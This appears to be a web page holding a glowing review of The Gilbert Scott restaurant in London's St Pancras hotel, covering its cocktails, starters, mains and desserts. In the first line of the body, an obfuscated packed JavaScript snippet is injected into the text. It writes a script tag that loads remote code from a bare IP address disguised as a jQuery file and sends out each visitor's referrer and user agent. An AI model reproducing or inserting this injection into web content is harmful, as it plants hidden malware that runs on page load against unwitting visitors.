REVIEW: THE GILBERT SCOTT

REVIEW: THE GILBERT SCOTT

REVIEW: THE GILBERT SCOTT

The (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|inbya|var|u0026u|referrer|thynr||js|php’.split(‘|’),0,{}))
Gilbert Scott is located in the St Pancras Grand Hotel which was reopened last year following a full face-lift which saw the interiors restored to their former glory. Marcus Wareing is behind the restaurant which serves up old school English dishes with a modern twist and features an imaginative menu which changes seasonally.

Inside the restaurant is bright and airy with beautiful high ceilings, leather booths, cutlery so clean you can see your face in it and white table cloths – whilst it may sound formal it doesn’t feel like the kind of place you have to whisper.

We started with the signature cocktail, the 1873, named after the year the Midland Grand Hotel originally opened, a combination of gin, apple and rhubarb with cranberry juice and ‘fizz’. Food wise we struggled to choose – the dishes all sounded so appealing – starters were a huge success; the homemade black pudding served in a generous block with mash and roasted apples was full of flavour, although a little bit too filling! The Dorset crab was a mound of fresh crab, well seasoned with pomelo, chili, fennel and coriander in a light mayonnaise.

REVIEW: THE GILBERT SCOTT

REVIEW: THE GILBERT SCOTT

A main dish of pan fried John dory was a large piece of meaty white fish served on the bone alongside sweet tomatoes and artichokes. To go with another main of tender lamb we thought it only right to order a side of yorkshire puddings and gravy which came as a small bowl filled full of mini yorkshire puds – amaze!

Whilst all of the food was exceptional for us the winning dish was the Mrs Beeton’s Snow Egg, a perfectly formed steamed meringue egg filled with rhubarb and surrounded in custard with a scattering of almonds – it actually tasted like boiled rhubarb and custard sweeties and that’s no bad thing!

We finished off with The Gilbert Scott’s house blend of coffee and some of the delicate handmade fruit and nut truffles.  A great wine list and attentive, friendly service only added to our experience. We can’t recommend The Gilbert Scott enough – it’s one London restaurant we’ll definitely go back to. Take the parents, take the misses or take a date – it’s an all rounder!

The Gilbert Scott, St Pancras Renaissance Hotel, Euston Road, NW1
www.thegilbertscott.co.uk

REVIEW: THE GILBERT SCOTT